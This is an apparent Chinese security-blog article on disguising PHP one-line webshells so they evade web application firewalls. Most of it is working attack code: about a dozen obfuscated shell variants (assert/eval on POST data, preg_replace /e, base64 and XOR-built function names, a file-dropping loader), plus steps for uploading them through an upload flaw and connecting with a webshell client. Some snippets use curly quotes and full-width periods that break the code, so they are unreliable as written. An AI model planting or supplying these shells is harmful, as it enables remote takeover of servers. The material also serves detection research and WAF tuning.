銘說 | 一句話木馬的多種變形方式
今天來和大家聊一聊,
一句話木馬
的多種變形方式。
經常有客戶的網站碰到被上傳小馬和大馬,這裡的“馬”是木馬的意思,可不是真實的馬。
通常,攻擊者利用檔案上傳漏洞,上傳一個可執行並且能被解析的指令碼檔案,透過這個指令碼來獲得伺服器端執行命令的能力,也就是我們經常聽到的
WebShell
,而這個指令碼檔案就是我們常說的大馬和小馬。
1、都有些什麼“馬”?
小馬
體積小,功能少,優點在於不易被發現,功能單一,常作為上傳大馬的跳板。
大馬
體積大,功能強大,但是易被發現。
一句話木馬
在小馬和大馬之外衍生出的另一種木馬,只需短短一行程式碼,再結合WebShell工具(如菜刀、蟻劍、冰蠍等等)就能做到與大馬能力相當的功能(執行命令列、檔案上傳、檔案下載等功能)。
隨著一句話木馬的濫用,普通的一句話木馬都已經逃不過waf的檢測了,為了逃避waf的檢測,一句話木馬開始了他的變形之旅。
2、一句話木馬的變形之路
環境介紹:
解析語言:php(版本:5.6.27)
WebShell工具:蟻劍
【最初的一句話】
製作一句話:
<?php @eval($_POST[‘juminfo’]);?>
<?php @assert($_POST[‘juminfo’]);?>
圖 1 最簡單的一句話木馬
找到具有上傳漏洞的站點,將該指令碼上傳,並訪問。發現是一片空白,可以說明該木馬能被解析。
圖 2 訪問指令碼
使用蟻劍連線。
圖 3 蟻劍連線
連線成功,獲得WebShell。
圖 4 獲得webshell
這樣的木馬雖然簡單,但是他明顯的關鍵字很容易就被各類waf檢測到。
為了繞過waf,我們的思路可以更寬一些,主要的思路有大小寫混淆,字元編碼,分散特徵碼等。
【create_function函式】
指令碼內容:
<?php
$fun = create_function(‘’,$_POST[‘juminfo’]);
$fun();
?>
把使用者傳遞的資料生成一個函式fun(),然後再執行fun()。
【create_function函式】
指令碼內容:
<?php
@call_user_func(assert,$_POST[‘juminfo’]);
?>
call_user_func這個函式可以呼叫其它函式,被呼叫的函式是call_user_func的第一個函式,被呼叫的函式的引數是call_user_func的第二個引數。這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函式繞過waf。
【preg_replace函式】
指令碼內容:
<?php
@preg_replace(“/abcde/e”, $_POST[‘juminfo’], “abcdefg”);
?>
這個函式原本是利用正則表示式替換符合條件的字串,但是這個函式有一個功能——可執行命令。這個函式的第一個引數是正則表示式,按照PHP的格式,表示式在兩個“/”之間。如果我們在這個表示式的末尾加上“e”,那麼這個函式的第二個引數就會被當作程式碼執行。
【file_put_contents函式】
指令碼內容:
<?php
$test=‘<?php $a=$_POST[“juminfo”];assert($a); ?>’;
file_put_contents(“hello。php”, $test);
?>
使用方法:先用瀏覽器訪問,生成新的檔案“hello。php”,再連線“hello。php”。
利用函式生成檔案,第一個引數是檔名,第二個引數是檔案的內容。
【PHP變數函式】
指令碼內容:
<?php
$a = “assert”;
$a(@$_POST[‘juminfo’]);
?>
第三行使用了變數函式$a,變數儲存了函式名eval,便可以直接用變數替代函式名。
【PHP可變變數】
指令碼內容:
<?php
$bb=“assert”;
$a=“bb”;
$$a(@$_POST[‘juminfo’]);
?>
透過上一個語句進行的多一層變化:$$a = $($a) = $ (‘bb’) = $bb = “assert”
【str_replace函式】
指令碼內容:
<?php
$a=str_replace(“juminfo”, “”, “assjuminfoert”);
$a(@$_POST[‘juminfo’]);
?>
在第三個引數中,查詢第一個引數,並替換成第二個引數。這裡第二個引數為空字串,就相當於刪除“juminfo”。
【base64_decode函式】
指令碼內容:
<?php
$a=base64_decode(“YXNzZXJ0”)
$a($_POST[‘juminfo’]);
?>
這裡是base64解密函式,“YXNzZXJ0”是assert的base64加密。
【"."運算子】
指令碼內容:
<?php
$a=“as”。“s”;
$b=“er”。“t”;
$c=$a。$b;
$c($_POST[‘juminfo’]);
?>
【運算子變形】
指令碼內容:
<?php
@$_++;
$__=(“`”^“?”)。(“:”^“}”)。(“%”^“`”)。(“{”^“/”);
$___=(“$”^“{”)。(“~”^“。”)。(“/”^“`”)。(“-”^“~”)。(“(”^“|”);
${$__}[!$_](${$___}[$_]);
?>
當我第一次看到這個指令碼的時候,一頭霧水,這是什麼東西?
後來用echo打印出三個變數$_++、$__、$___可以看到他們的值分別為1、_GET、_POST,放入最後一條語句中剛好組成一個兩層的一句話木馬。
<?php $_GET[0]($_POST[1])?>
只要我們將0賦值為assert就可以構成經典的一句話<?php assert($_POST[1])?>,密碼是1。
圖 5 二層一句話木馬的連線方式
3、總結
一句話的混淆方式還有很多很多,基於以上的變形思路還能夠衍生出無數新的變種木馬,為了更好地防止“被放馬”的事件發生,我們應該及時對使用的安全產品進行更新,才能讓“馬”無處可走。
免責宣告
:本文提及的技術僅可用於私人學習測試等合法場景中,任何不當利用該技術所造成的刑事、民事責任均與本文作者無關。